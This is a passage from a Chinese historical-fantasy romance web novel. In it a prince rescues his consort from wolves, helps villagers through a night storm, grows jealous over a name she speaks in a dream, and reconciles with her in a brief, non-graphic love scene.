此时她亦已彻底精疲力尽,只见衣上云忽驻足停下,一边大口地喘着气,一边怯怯地探了探前面脚下深不见底的距离。 这才意识到在这漆黑的夜里,被那些聪明至极的畜生们逼到了这处绝境,自己已然迷失了方向。 方才差点儿就一脚踩了下去,她不由深深地倒抽了一口凉气。 可回头一看,那些饿了不知已有多久的畜生,其眼睛一个个俱都在夜里闪闪发出腥红色的凶光,正与自己眈眈对视。 此时,她虽努力想让自己内心镇定下来,可怎么都办不到,她的心里着实害怕惊慌极了:“怎么办,怎么办?” 然狼群却丝毫不给她准备和考虑的时间,一个个正在蓄势发力,随时准备扑向她。 见此,衣上云心里一惊。 刚一抬脚,一不小心不知被什么东西滑了一下,便就顺势踉踉跄跄地向身后的悬崖跌了下去。 “啊……”伴随着一阵惊悚的叫声传出,她惊恐绝望的闭起了眼睛。 在这千钧一发之际,一个人影如同疾风闪电一般,在这漆黑的夜里一闪而过。 紧接着,衣上云直觉有一支强而有力的臂膀搭在了她的腰身。 继而将她拦腰飞快地勾进了一个宽大而结实的怀里,紧紧地抱住。 霎时间,一熟悉的声音在她耳畔响起:“别怕,本王来了!” 闻声,衣上云方才缓缓地睁开眼睛。 微微抬起头来朝那人的脸一看,瞬间激动不已,又难以置信地道:“难道我已经死了吗?殿下,真的是你?我终于见到你了!终于见到你了!” 轩辕翰心里此时亦是紧张害怕极了,越来越紧地抱着她。 若是自己再晚一步,险些差点儿永远就要失去她了! 于是,便将抱她的手紧了紧,再紧了紧,心疼极了地朝其声声致歉道:“对不起,都是本王的错。当初无论如何,本王根本就不该允许你来觻县。是本王来晚了,让你担惊受怕,受了这么多苦!” 待到她终于真实地感受到轩辕翰的温度,她熟悉的气息,确定这不是自己的幻觉,而是最真实的存在。 衣上云方才伸手紧紧环抱住轩辕翰坚实挺拔的腰身,又缩了缩脑袋,躲进其宽大温暖的怀里,终于哭了出来:“殿下……你怎么才来啊……” “对不起,对不起……” “不要怕……” “本王在,本王再也不会让你离开本王的身边……” 这一阵哭声传出,轩辕翰的心都碎了。 一遍又一遍地轻抚着她的后背,安慰她至今尚都还惊魂不定着的情绪。 而另一边,距离俩人不远处,只见那沉沉夜色中,现出一阵阵刀光剑影闪动,跟随其发出一阵阵哀嚎声。 即便是那些畜生已经丧命的哀嚎声,衣上云依旧害怕地继续往他怀里缩。 轩辕翰意识到她的恐惧后,伸手替其牢牢地捂起了她的耳朵。 自此,她的世界,从此终于变得安静了下来。 自打得知轩辕翰已经到了觻县,且已亲自带人去寻找衣上云的消息后,燕儿便寸步不离地守在军营门口等候着。 她心急如焚,眼巴巴地眺望着远方漆黑的小路。 不知过了多久,终于渐渐传来了嗒嗒……嗒嗒的阵阵马蹄声。 伴随着其声音愈来愈清晰,燕儿直觉自己的心都似快要跳出来了,双手合十祈祷着:“老天保佑,秦王殿下一定可要将小姐平平安安地带回来啊!” 终于,那个一袭墨色披风锦袍,宛若夜之神袛一般不怒自威,缓缓现身出来的挺拔男人,他从来都不负众望。 看着轩辕翰果然抱着一个人下马回营来,燕儿激动地疾步朝其身边跑了上去。 待其过去定睛一看,那怀里已然严重虚脱,都快没了人形,陷入昏迷着的人儿,燕儿顿时失声痛哭起来。 “小姐……小姐……” “小姐你这是怎么了?” 轩辕翰即刻厉声命令营帐门前的侍卫:“快去传军医过来!” “是”侍卫赶忙领命而去。 很快,一名军医拎着药箱,跌跌撞撞地赶了过来。 轩辕翰冷声朝其命令道:“务必全力救治王妃,王妃若是少了一根汗毛,本王要你的命!” 军医一听,瞬间惊恐地似是连话都说不出来,连滚带爬地进了去。 时间一分一秒地过去。 轩辕翰一直保持着在帐内的屏风前,来回踱着步的动作,一刻都不曾停下来坐一会儿。 脑海里,不断浮现起方才衣上云被狼群追逐,逼入绝境那千钧一发的惊魂时刻。 思及此,他便紧紧地拧起眉头,悄悄握住双拳来。 这时,一名侍卫进帐来,抱拳朝其禀告说:“启禀殿下,卫将军已带人斩杀了方圆几十里所有的狼群,现回来又在帐外继续跪着,等候殿下处置!” 闻此,轩辕翰眼里顿射出一股寒光来。 怒不可遏地扬声道:“让他跪着,本王没让他起来,他便就永远这样跪着,不得起身。” 侍卫犹豫了一下,小心翼翼地再次试着说:“可是,看天色,马上将会有一场大雨将至!” 轩辕翰冷冷地道:“不过一场大雨而已,又非数十条穷凶恶极的豺狼相逼,跟王妃相比,远远不及她今夜所受!” 至此,侍卫便收了声,再无可辨了,最后只得缓缓退了出去。 一出帐,看到卫宁溅了满身满脸的血迹,却来不及整理,便就急急赶来实实地跪在帐前请罪。 侍卫似是想要对其说些什么:“卫将军……” 不料卫宁却先开口将其嘴边的话挡了回去:“殿下说的没错,如果王妃娘娘真的有个什么,我卫宁就是死一千一万次也难辞其咎。如今这些,都是我该受的。王妃娘娘她为了觻县的百姓废寝忘食,呕心沥血,我却连她最基本的安全都未能保护好,让她竟陷入被数十条饿狼追逐的困境之中。” 只要一想起当时在戈壁滩寻到衣上云时的危急时刻,卫宁便似是依旧惊魂未定,自责内疚不已。 看着卫宁此刻心里这般为难,侍卫无奈地摇了摇头,迈步离开。 霎时间,一道闪电划破了夜空。 继而“轰隆隆”,雷声伴随着其亦响了起来。 很快,雨滴便就这样肆无忌惮地砸了下来。 轩辕翰仍然在帐内不停地踱步着。 屏风后。 燕儿为衣上云仔细地擦洗了身子后,换上了一套干净的藕粉色中衣。 此刻,衣上云静静地躺在轩辕翰舒适的床榻上陷入昏迷着。 军医在侧仔细把着脉,豆大的汗水一颗颗滴落着。 燕儿见衣上云许久都未能醒过来,担心害怕极了,哭哭啼啼道:“怎么样了?我家小姐到底怎么样了,为何到现在还不醒来?” 那军医幽幽道:“王妃娘娘她是由神志不清转入到昏迷。气少息促,心音低钝,周身俱冷,脉微欲绝,为危候。这全是因为娘娘本就因为之前的小产身子尚还亏虚着,现又长时间饥饿与缺水导致了严重的虚脱。如今想要复原,怕是没有那么容易,得需很长一段时间了……” 燕儿听不太懂,直觉应是很危急,心里一急便生气地说:“你就不能想办法给小姐多开些进补的药吗?” 军医解释道:“凡事都讲究个循序渐进才行,此时如果盲目的恶补,反倒会令娘娘的身子亏空地更为严重,到时怕会出大问题的!” 燕儿一听,似乎再没了其他主意,哭着道:“可怜的小姐,我该怎么办,我到底该怎么办啊!” 终于,军医在进行了好一番望闻问切后,似是已有了最终方案,于是说:“我先开个方子,你想办法让王妃娘娘先服下去,等娘娘醒来后,再看看娘娘的情况酌情加减……” 似是也没有其他更好的办法了,燕儿急急拿了方子后,便到帐外去煎药。 很快,燕儿便将一碗温度适中的药汤端到了衣上云的榻前。 她小心翼翼地将其扶起身来靠在自己身上,便试着喂食其药汤。 可尝试了许久,衣上云怎么都不张开嘴来。 即使自己强行将药灌了进去,她似是也无法正常吞咽,药汤几乎都跟着汤匙同时流了出来。 就在这时,轩辕翰走了进来。 燕儿心急如焚地朝其哭诉说:“秦王殿下,小姐怎么都不喝药,这可怎么办呀?” 轩辕翰看了看衣上云苍白的脸,道:“让本王试试,你先下去熬些白粥,等她醒来就能吃了!” “是”燕儿答应着,急急下去煮粥。 “云儿,听话!你一定要喝药才行,快点醒来,母妃得知你在觻县所做的一切,甚是欣慰,她还等着本王接你回家呢!” 在对其说了这番话之后,轩辕翰便尝试着喂了其一匙药汤。 岂料衣上云依旧拒绝吞咽。 轩辕翰一看,心里想了想,似是又有了主意。只见他捧起药汤来自己猛灌下一口,紧接着,便将自己的唇贴到了衣上云的唇上。 终于,衣上云缓缓吞咽了起来。 见此方法果然有效,轩辕翰便照此一口接一口,直至喂完了整碗药汤。 拿起帕子来悉心地为其拭了拭嘴角,方才将她的身子缓缓平放回榻上。 第六百一十二章:手握锄头的战神 就在他最后想要替其整理整理身上所盖着的毯子时,忽然看到衣上云的一只手里似是正紧紧地攥着个什么东西。 于是便伸手过去,小心翼翼地想要将其那只手掰开来看看,究竟是什么东西让她如此宝贝。 怎料衣上云即便是昏迷着,竟还将其紧紧握在手心,不肯轻易撒手。 轩辕翰见她此时的模样,心疼极了地说:“到底是什么东西让你如此视为珍宝,竟连在昏迷中都紧紧攥着不松手!” 遂心下里一想,道:“本王猜想……这就是你豁出性命方才寻回的东西,对不对?” 可就在其刚刚说完这句话时,衣上云似是能听到他的声音一般,竟忽然放心地将那只紧握的手摊了开来。 轩辕翰这才将其接过打量了一下,疑惑地道:“竟只是一支瓷瓶?” 于是心里甚是不解地看了看衣上云沉睡的脸,又再次端详了瓶子许久,甚至还打开瓶塞靠近到鼻翼闻了闻。 却依旧纳闷地自言自语道:“这瓷瓶里面所装的,似是与一般普通的泉水没什么两样,无色无味,你究竟要拿这个回来做什么?” 可显然,衣上云这会儿是回答不了他任何疑问的。 于是,他便走到一旁,将那只玉色瓷瓶放在了自己一个黑色的匣子里,盖上盖子,暂时替她收好。 “轰隆隆……” 霎时间,帐外又传来一阵响雷的声音,同时还伴随着“噼里啪啦”的滂沱大雨声。 他这才忽地想起,卫宁尚还在帐外的雨地里跪着等他饶恕。 于是便扬声问帐外的侍卫道:“外面的人呢?” 那侍卫道:“启禀殿下,卫将军一步都不曾离开,这会儿还在外面雨地里跪着呢!” 其实他心里此时已经渐渐变得柔软了下来,想要让他起身回去。 可就在他正要下达命令时,那侍卫又说:“卫将军说,这一切,全都是因为他的失职所造成的。王妃娘娘若是不醒过来,他便在此长跪不起,直至娘娘平安醒来,再请殿下定他的罪!” 闻声,轩辕翰顿回过头去,一看见满身伤痕累累,且昏睡着至今都还不省人事的衣上云,心里便再次来了气。 遂狠狠地道:“如此,那本王便就如他所愿,让他接着跪!” 可说来也怪,觻县常年干旱少雨。 尔今,他刚一踏上觻县的土地,这里便下起如此大的一场雨来。 轩辕翰听着此时外面所传来的风声,雨声,心里变得愈来愈沉地道:“正所谓,事出反常必有妖,莫非,觻县真的即将要迎来一场前所未有的灭顶之灾。” 想着想着,他的目光再次回落到衣上云的脸上。 忽然振奋起精神来,自言自语道:“不行,这是她要用自己的生命亦要守护的城,本王一定不能让她的付出付诸于流水。” 一念至此,他着急地询问道:“这场突如其来的大雨,定会使得刚刚新建成的防护林与草场里的幼苗严重受损,可都已经安派人去协助百姓们排水了?” 帐外的侍卫回禀道:“除了几名王府护卫,其他人全都已经去帮助觻县的百姓了。” 然即便如此,他的心里似是依旧有些不放心,可又担心衣上云的病情会再起什么变化,而一步都不敢离开。 然犹豫再三,最终仍是将心一横,遂命令道:“本王亲自去看看!” 看到轩辕翰当真走了出来,帐外的侍卫惊恐地赶忙撑起伞来跟上,并阻拦其道:“殿下万万不可,此时外面风大雨急,小心着凉啊!将士们全都已经过去帮忙了,想必不会有什么事的!” 轩辕翰丝毫不在意此时外面正陷入一片嘈杂的世界,兀自只顾一边走,一边不以为然地说:“这么多年的征战,如今这点儿风雨算什么?你们务必仔细守护好王妃娘娘,如有什么情况,立刻去叫军医,你等一刻都不得离开,一切等本王回来……” 侍卫一时间着急地似是都不知该怎么劝说,可又必须遵守王命。 就在其犹豫之间,轩辕翰紧了两步,便已将其远远落下。 而此时听到俩人所说的一切,跪在外面的卫宁稍一思索,便亦急急站起了身来。 许是跪的时间有些长了,腿有些发麻,猛一起身,差点儿栽倒在地。 却还是隐忍着,一瘸一拐地跟随着轩辕翰的脚步,追了上去:“殿下……殿下等等我,属下也要去……” 轩辕翰道:“怎么?不去继续跪着了?” 卫宁认真地说道:“属下知错,眼下觻县的灾情要紧。待会儿等雨停了,属下再回来继续跪!” 轩辕翰听了,扭头狠狠地朝他瞪了一眼。 卫宁便只老实跟着,再也不敢出声。 而此时。 在这片电闪雷鸣,风急雨急,伸手不见五指漆黑嘈杂的夜里。 无论是防护林、亦或草场、哪怕是百姓们所居住的街坊、村落、田间地头…… 到处都闪现着王府王军们的身影,正在全力帮助百姓们排水,救灾。 轩辕翰所到之处,百姓们无不对其俯首跪谢。 其声音响亮,似是能穿透一切,哪怕是比这更漫长的黑夜。 “秦王殿下千岁,千岁,千千岁……” “多谢秦王殿下及时带领王军援助觻县!” “如果不是王军,觻县必将再次遭受灭顶之灾。” …… 直到自己亲眼看到,确认每一处的救灾工作俱都有条不紊地进行着,轩辕翰方才安心了下来。 这时,他问身旁的卫宁:“今夜救灾的就只有王军吗?觻县官府没有派出救援的人来吗?” 卫宁一边替轩辕翰撑伞,心下里想了想,说:“之前王妃娘娘刚到觻县的时候,曾与族长一道去想让他们一起帮忙治沙的时候,官府曾声称,受上次的沙暴影响,官府一切都尚还在休整之中,暂时无人可派。其实,这明摆着就是皇上故意命其推脱,不准其施以援手,等着百姓们自生自灭。” 轩辕翰听了顿将眉头一紧,吩咐道:“派人去暗中探一探官府的虚实。” “是!”卫宁即刻对着立在自己身旁侍卫的耳朵悄悄说了一阵,侍卫便急急退了下去。 就在这时,轩辕翰忽地离开了雨伞的遮挡,亦亲自过去提起锄头,与百姓们打成一片。 卫宁见了大惊:“殿下不可……” 然一见轩辕翰坚定无比的眼神,卫宁亦一把丢掉了手里的伞,跳下去提起锄头,与其一道并肩而战。 谁说战神手里握着的,只有刀与枪呢? 然而。 在距离觻县二十几里外的一处荒凉的戈壁滩上,却依旧大风呼呼地刮着,并无半点雨落下。 云卷云舒,斗转星移。 当东方的天边,现出一抹白来,突如其来的很快便照亮了千里万里。 整个世界亦不再是一片漆黑,现出了其丰富多彩的颜色。 在一处地势低洼的乱石堆中,早已奄奄一息的龙恩终于被人发现。 “公子……醒醒……” “公子……醒醒……” 迷迷糊糊中,他感觉似是有一缕缕清甜的甘泉正流入自己的口中。 于是,他本能地吞咽了起来。 过了会儿,终于再次缓缓睁开了眼睛。 却是待其刚一恢复意识,便被眼前的人惊呆了:“寿伯,是你……” 原来真的是追随其后,特地寻他而来的寿伯,正在往他的口中徐徐灌下泉水。 看到龙恩此刻浑身是伤地躺在如此危险的荒凉之地,不知道其一路究竟都遭遇了些什么的寿伯,忍不住心疼地抹起了泪来。 一边伸手将其扶着坐起来,一边问:“公子,你怎么会一个人落到这样的地方?” 龙恩吃力地靠在一块大石上,有气无力缓缓地说:“我在来觻县的路上,突然遇到了沙暴天,漫天的黄沙飞舞,就连眼睛都睁不开。等到黄沙终于散去,我便就不知自己身在何处了?” 寿伯一边替其包扎处理身上的许多令人触目惊心的伤口,一边后悔不已地说:“早知道觻县如此危险,当初说什么我都应该陪公子一起上路的。” 想起这些日子,尤其是昨夜与狼群一战,龙恩显然至今都尚还后怕着。 他庆幸自己还好活了下来,便道:“还好你来了,否则,我怕是这次真的就要这样死在这里了。” 寿伯一看龙恩的伤势,其中小腿部位有几处颇深的伤口,明显是被什么野兽所咬伤,于是问他:“看公子身上的伤,这几处明显是豺狼所为。这实在是太危险了,也不知公子是如何胜过狼群的?” 龙恩回忆着,心里亦是至今都尚还有些纳闷地道:“其实,我自己也不是很清楚。当时,有好几只戈壁狼一起朝我扑了过来,可就在我拼尽全力刚开始抵抗时,忽然冒出来一队人马,那些畜生便就被全给消灭了。” 寿伯一听,疑惑地问:“一队人马?那会是什么人?” 龙恩摇摇头,只想起曾的确听到有俩人说了几句话,遂对寿伯道:“我当时感觉那队人马言语之间,不像是觻县本地的官兵,为了避免麻烦,便就藏了起来。隐隐约约地,只听到里面有人提及殿下,还有王妃娘娘……” “殿下,王妃娘娘……觻县,是西秦的国土……” 寿伯重复着龙恩的话,忽然似是反应了过来:“莫非那些人说的是秦王轩辕翰,与其刚刚大婚不久的新王妃?” 刹那间,俩人面面相觑着异口同声地道: “秦王也在觻县?” “秦王也在觻县?” 第六百一十三章:念念不忘 经过王军一夜坚持不懈地奋战与守护,总算是所有的努力终没有白费,牢牢守住了衣上云在觻县所做的所有措施。 直到天亮,轩辕翰方才拖着疲惫不堪的身体再次回到了营帐里。 一回来,便问这一夜一直寸步不离地守在衣上云榻前的燕儿:“王妃这一夜都不曾醒过来吗?” 燕儿一夜未眠,害怕的几乎是在榻前断断续续地哭了一夜,见轩辕翰终于回来,方才吸了吸鼻子,缓缓摇了摇头。 轩辕翰顿觉心里咯噔一下,继而扬声朝帐外怒吼道:“去给本王把那个没用的庸医立刻叫来!” 只不过须臾,那军医便再次拎着药箱,颤颤巍巍地一进门,便“扑通”一声重重地跪在了其脚下。 开口战战兢兢道:“殿下饶命,殿下饶命!” 轩辕翰怒不可遏,当即怒斥其说:“这都一夜过去了,到底王妃什么时候才能醒过来?” 军医赶忙爬上前去近身到榻前,看了看衣上云的脸色。 继而又掏出一条洁白的丝巾来,仔细遮盖在她的一只手腕上,再次替其认真把起脉来。 看着她显然经过这一夜的修养,明显气色已经好了许多,然亦是不明白地说:“看王妃的脉象,平稳缓和,似是已与常人并无两样,属下也着实是不明白,为什么王妃娘娘至今都还不醒来?这完全没有道理呀!” 轩辕翰听了,当即呵斥其:“大胆,你这是在质问本王,要本王回答你吗?” 军医立刻回过神来,道:“属下该死,属下该死,属下这就下去立马修改方子,属下这就去,这就去……” 轩辕翰朝其背影对其发出最后的命令:“本王再给你两个时辰,如果两个时辰后,王妃还不醒来的话,本王定会让人把你丢到戈壁里去喂狼!” 见此,燕儿心里便更加担心害怕了,遂又再次哭了起来:“小姐……燕儿求你了……求你快点儿醒过来啊……呜呜呜……” 所幸,还好此时衣上云即便是尚还昏迷着,却是已能自己吞咽了。 看着燕儿将重新熬制的药汤顺利替其全部喂下,沐浴更衣后的轩辕翰走过去对燕儿说:“你也下去歇歇吧,本王亲自来守着她!” 燕儿似是有话要说,但一看见轩辕翰满心满眼的温柔,都放在衣上云的身上,最后只得先默默地退了出去。 燕儿离去,一室寂静。 这会儿,轩辕翰只想衣上云赶快醒来,遂目光定定地看看她的脸,心里默默自责不已道:“本王是真的知道错了,可你怎么还不肯醒过来?” 沉默片刻,方才轻轻踱步,兀自走到了榻边缓缓坐下。 端详其睡脸许久,伸手轻轻抚摸她的脸庞,感受着她的温度,最后亦躺在了衣上云的身旁。 霎时间,方才明明早已疲惫不堪的他,当再次久违地躺回到衣上云的身旁时,却是瞬间顿觉满身的疲惫俱消。 遂对着她的侧脸,转身对着内侧的人儿柔声细语地道:“云儿,本王知道,你能听见本王所说的话,对不对?” 可显然,衣上云并未对他做出一丝丝回应。 可他却仍然坚持着对她说:“云儿,快点醒过来!觻县的百姓需要你,本王……更需要你,一刻都不愿再与你分开!” 不知什么时候,轩辕翰竟握着衣上云戴着那只七彩金丝彩玉镯子的手,最后也睡了过去。 就在这时,衣上云手腕上的七彩金丝彩玉镯子,又一次忽明忽暗地闪烁起紫色的光芒来。 昏昏沉沉中。 睡梦里有一女子正在召唤着她:“云儿……云儿……” 闻声,衣上云伸出手去,拨开了面前的道道云雾弥漫,寻声而觅。 伴随着愈来愈近,现出仍一袭白色长裙,如同谪仙一般轻盈的女子,与自己有着同样的面孔。 就在她惊愕地看向她的脸时,女子依旧温柔地朝她笑着,赞叹她道:“云儿,你真的找到了存在于沙漠中的那股神泉,我就知道你可以的,你做的很好!” 可衣上云却是陷入满脸愁容:“找是找到了,可如今仅仅只剩下这么一小瓶,又有何用呢?不知道有什么办法,可以将那神泉搬到觻县来?” 白衣女子微笑着摇摇头,道:“所谓山不在高,有仙则名。水不在深,有龙则灵。” “山不在高,有仙则名。水不在深,有龙则灵。”衣上云一边重复着白衣女子的话,遂默想了一瞬,却是仍旧不明白地问:“这是什么意思?” 白衣女子却似故作神秘地道:“没关系,很快,你便就会都明白的!” 就在衣上云依旧尚还沉浸在自己的思绪中时,女子又开口再次叮嘱她:“记住我说的话,当心自己的身子,守护者代代相传,方才能不死不灭。” “不是……你说的这些……”就在衣上云回过神来,想要将这些莫名其妙的话,一一朝其再次确认时,那女子竟再次消失不见。 眼前,复又恢复了层层迷雾笼罩,仍是什么都再也看不清楚。 紧接着,便发出一阵阵梦魇般的声音来。 “真龙出海,灵空一统,凤凰涅盘,浴火重生,生既是死,死亦是生。” “魏明轩,你快回来……” “魏明轩,快回来……” “魏明轩……” 殊不知,衣上云梦魇中的这些胡言乱语,早已将此时的枕边人惊醒。 轩辕翰听到他睡梦中所发出的呢喃细语,以为是她醒了,于是忽地睁开眼睛。 这才发现,这一切都只不过是她的梦魇罢了。 可这些话,却是被他清楚极了地俱都听了进去。 不但如此,轩辕翰还将其重复了起来。 “真龙出海,灵空一统,凤凰涅盘,浴火重生,生既是死,其亦是生。” “魏明轩……” 一边重复着她的话,遂默想了一瞬,疑惑地自言自语起来:“她这到底是在说些什么?好似这些胡言乱语,她早就已经不是第一次说了……” 一念至此,回忆过往。 最后,他将自己所有的思绪,停留在她一句“魏明轩,你快回来……”上。 “到底谁是魏明轩……记得曾经本王特地让程良查过这个人,可结果是并无此人的存在……” “魏明轩……” 就在轩辕翰尚还凝视着她的脸陷入沉思时,衣上云忽地睁开了双眼。 轩辕翰不由得亦被其惊了一下,继而赶忙坐起身来关切道:“你醒了!” 衣上云只觉得自己周身隐隐袭来阵阵疼痛感,轩辕翰一察觉到其极不适后,便对她解释说:“你的身子此次在大漠里损伤太大,须得好好修养一段时间才是。” 衣上云一见,这大白天的,怎么俩人竟就同榻而眠起来。 于是脸上顿浮起一抹绯红来,难为情极了地道:“殿下……你怎么会在这里?” 此话一出,轩辕翰即刻明白了她心中在想些什么。 于是便一把掀开了身上的毯子,下榻来一边更衣,一边解释道:“本王连夜赶路,方才只是觉得有些累了,便就躺在你身旁歇了歇,并未对你做什么……” 眼前所处的环境,一看便是在军营里,明明是自己占了他的地方,反倒却还说出这样的话来,于是心里颇为自责地道:“我这到底在说些什么?” 霎时间,一想起昨夜那般危急的时刻,若不是轩辕翰及时出现,自己怕是早就跌落悬崖,粉身碎骨了。 一时间,衣上云只觉轩辕翰似是误解了她的意思。 于是赶忙对其解释说:“殿下,云儿不是那个意思……” 轩辕翰知道自己应该相信衣上云,衣上云也值得自己相信。 可不知为什么,此刻他满脑子都是那个叫做魏明轩的神秘人物。 她对他,直至如今依旧念念不忘。 没错,他心里着实嫉妒地发狂,于是竟然强硬地说了句:“本王知道……你是本王的女人,就算本王想对你做什么,你也反抗不了……本王想要的,随时都可以来取。” 衣上云一见他忽然变了个态度,甚是不解地道:“殿下……” 怎料她话尚还未开口,轩辕翰便将其挡了回去:“既然你已经醒了,本王去叫燕儿过来陪你。” “殿下……” 即便衣上云再想要如何挽留,轩辕翰都不再回头,兀自步履坚定地走了出去。 刚一出门。 果真再次回来继续跪在帐外的卫宁,顿时打起精神来,小心翼翼地开口问道:“殿下,王妃娘娘依旧还没有醒过来吗?” 轩辕翰走到其身边时,故意停了下来,却是眼睛直视着前方,丝毫都不看他一眼,冷冷地道:“没有……你且在这儿一直跪着,本王没让你起,你便永远不得起来。” 闻此,卫宁显然觉得这话,还有这人,似是都有些不对劲。 “殿下……”于是,他想要开口再问些什么,轩辕翰却再头也不回地抬步离开。 “殿下这是怎么了?谁又招惹他了?” 就在其望着轩辕翰离开的背影摸不着头脑时,衣上云忽然疾步追了出来。 卫宁一回头,俩人顿时面面相觑着同时发出一阵惊声…… 第六百一十四章:是你自找的 卫宁一回头,与衣上云俩人顿时面面相觑着同时发出一阵惊声来。 “卫将军……” “王妃娘娘……” 衣上云驻足停下,见堂堂一名将军统领,竟然在旁边好几名守卫的眼皮底下跪着,甚是纳闷地问:“卫将军,你怎么在这里跪着?” 几日不见,此时终于再次看到衣上云站在了自己面前,卫宁心里一时之间激动的竟差点儿站了起来。 可瞬间又想起轩辕翰方才刚刚所说过的话,于是又默默地再次跪了回去。 遂只关切地问:“王妃娘娘什么时候醒的?可有感觉哪里尚还不舒服?” 衣上云赶忙安慰他紧张的情绪,道:“卫将军不必担心,我很好,不碍事的!” 闻此,卫宁心中揣了这么多天的一块大石头,总算是落了地。 终于长长地舒了口气,碎碎念叨着:“谢天谢地,这一夜,总算是没有白跪,娘娘终于醒了。您若是再不醒来,那我的罪过怕是真大了去了……” “一夜……你竟在这里跪了一夜?我若再不醒,你的罪过……”衣上云重复了一遍卫宁的话。 终于明白了过来:“是不是殿下让你在这里跪着的?他竟让你跪了整整一夜?” 衣上云惊诧极了地看着他的脸。 卫宁却是满腹心甘情愿地道:“殿下罚的对,这的确是属下办事不利,方才让娘娘置身于那样危急的险境之中。” 衣上云顿觉对其满怀歉意,赶忙弯腰下去扶他,道:“对不起,这都是我的错。卫将军,你快点起来!” 卫宁则拒绝道:“王妃娘娘,你不用管我,是我心甘情愿在此领罚的。” 衣上云见自己显然丝毫动摇不了他,即刻意识到这定是轩辕翰不准他起来。 于是一咬牙,便松开了手道:“你且在这里等着,我这就去见殿下。” 来不及多说,衣上云赶忙问卫宁:“对了,你可看到殿下去哪儿了?” 卫宁遂伸出一只手去,朝着轩辕翰方才消失的方向指了过去。 衣上云着急忙慌地只留了一句:“卫将军,你稍后务必带人去仔细查看新建的那几处避难所是否足够牢固。此事非常重要,这次觻县特大沙暴能不能平安度过,就全靠它们了。” 话一说完,便急急追逐轩辕翰而去…… 卫宁望着这俩人一前一后离去的方向,心里亦是为难极了地说:“我到底是该听殿下的在此继续跪着受罚……还是该听王妃娘娘的,即刻带人去查看避难所呢!” 踩着脚下的泥泞,紧赶慢赶。 衣上云一路追随着轩辕翰的脚步,远远地亲眼看见他顿足停留在营帐外面,对外面的两名守卫不知交代了些什么。 见此,衣上云尽力伸展自己的耳朵,想要听其一二,却只听到传入耳朵里阵阵呼呼的风声。 轩辕翰说完,便径直朝里走了进去,丝毫没有留意到身后还有她的存在。 直到此刻,她心里亦是还想不明白:“殿下他到底是怎么了?究竟为何突然会生如此这般大的气?” 虽是百思不得其解,可又不得不迎上前去。 因为在这场特大沙暴即将来临前,她还有好多好多事没有完成。 她的确希望能够得到轩辕翰的帮助。 一念至此,她终于再次鼓起勇气来,迈开了脚步。 岂料刚走到营帐外,便被那两名守卫伸手拦了下来,将其挡在门外,道:“王爷有极其重要的事情要办,任何闲杂人等都不得进去打扰。” 衣上云不禁心里惊了一下,道:“劳烦二位帮忙通报一下,让我见见殿下,一会儿便好,好不好?” 其中一位守卫开口仍然解释说:“抱歉王妃娘娘,殿下吩咐,这会儿任何人都不准进去打扰!” 衣上云怔了一下,朝其再次确认:“就连我也不可以吗?” 守卫缓缓摇了摇头。 看来轩辕翰是铁了心故意不见她,衣上云似是也没了其他办法,便只能先移步默默的回去。 垂首无精打采,失落极了地走着走着,她忽然听到与其迎面而来的两名侍卫的一段对话。 “殿下对咱们王妃娘娘可是真的好!怕娘娘为觻县百姓之前所做的一切被大雨摧毁而功亏一篑。昨晚,竟在那场大雨中亲自和百姓们一起排水救灾,一夜未合眼,直到天亮才回营。” “谁说不是呢……殿下一听到王妃失踪的消息,宫里的圣旨都还未到,便就快马加鞭赶来觻县了!” “殿下与王妃为百姓们做了这么多,希望觻县真的能平平安安地度过这次沙暴!” “你说……王妃娘娘造的那些稀奇古怪的玩意儿,真的有用吗?” “我觉得行……” “嗯,我也相信咱们娘娘!” 闻此,衣上云这才放眼望去,看到周围地上到处一片泥泞。 于是低声喃喃道:“原来昨夜殿下当真一夜未眠,竟还是跑去亲自与百姓们一道排水救灾。他那般尊贵的身份,竟然会……” 一念至此,她不再犹豫,倏地回头。 在追上了早已经擦肩而过,走到自己身后的两名侍卫身边时,忽然嘴角勾出一抹好看的弧度来开口说:“我也相信。” 闻此,两名侍卫顿足停下,看看朝着前方径自而去的衣上云,最后又互相对视在一起,惊诧地道:“那是……王妃娘娘吗?” 再次回到营帐门前的衣上云,无比坚定地提起裙摆来,实实跪了下去,且扬声说道:“今天,我必须见到殿下,否则,便将在此长跪不起,直至殿下愿意见我!” 俩守卫一见其架势,顿面面相觑着,心中不由得亦动摇了起来。 正跃跃欲试着,想要找个理由进去。 就在这时,听到其声音的轩辕翰终于缓缓走出了营帐。 却是依旧冰冷的脸,冰冷的声音,只责怪她道:“你的身子还病着,不去养病,来这里如此固执,又是做什么?” 衣上云赶忙抬起头来朝其致歉道:“对不起,云儿真的不知道殿下昨天晚上守护了觻县的百姓一夜。” 轩辕翰一听,心里默默道:没想到她竟是追来说这个,看来你还是不愿说实话?” 似是已有些不耐烦,轩辕翰道:“守护我西秦百姓,是本王的职责,如果你是因为这个而来,那大可不必!” 见衣上云依然不知自己错在哪里,不能与他坦诚相对,轩辕翰再也不想听她继续说下去,于是便推辞说:“你还是回去吧!” 就在轩辕翰无奈地丢下这句话后,欲要转身回去,衣上云心里也实在没了主意。 霎时间,其灵光一闪,也不知哪儿来的勇气,竟当着两名守卫的面,忽地立起身来,朝其身边扑了上去。 未及轩辕翰反应过来,便就所有动作一气呵成,踮起脚尖,伸出胳膊,轻轻勾住他的脖颈,一吻封唇。 两名守卫顿时被其举动惊地愣在了原地,很快又极其自觉地缓缓一起侧过了身去。 轩辕翰的兴致却似是顿被其燃起。 继而,紧紧盯视着她此刻陷入迷离,闭起的眼睛一会儿后,忽将其一把推了开来。 就在衣上云被其愣住,不知接下来该如何继续时,轩辕翰对其狠狠地道:“这可是你自找的,待会儿不要后悔!” 说完,便一把将其横抱起来,转身回到了营帐里去…… 分开的这段日子以来,在轩辕翰对其疯狂的思念下,此刻他一次又一次地索取,她只能一次又一次地给予之间。 几经令俩人俱都大汗淋漓的翻云覆雨后,衣上云终于再也没了力气,无力地瘫倒在他结实的怀里。 他紧紧拥她入怀,她如同只小猫一般将脑袋深深地埋在他的心口处。 终于,她又再次无比真实地感受到他的温度和心跳,还有他沉静极了的呼吸声。 她是多么希望这般的岁月静好,将会存在于未来俩人的每一天生活中。 而轩辕翰却是在心里后悔着,因为自己从未如此粗暴地对过她,在她身上留下了自己满满的痕迹。 “你本就只能属于本王,我又为何要留下这些专属印记?” 而其实,这在他刚刚做的时候便就已经开始在心里后悔了,后悔自己为什么要这样对她,他明明是那样的爱她,视她为自己的生命,本应无比温柔地,可…… 一念至此,他看着留在她身上的痕迹,问:“痛吗?” 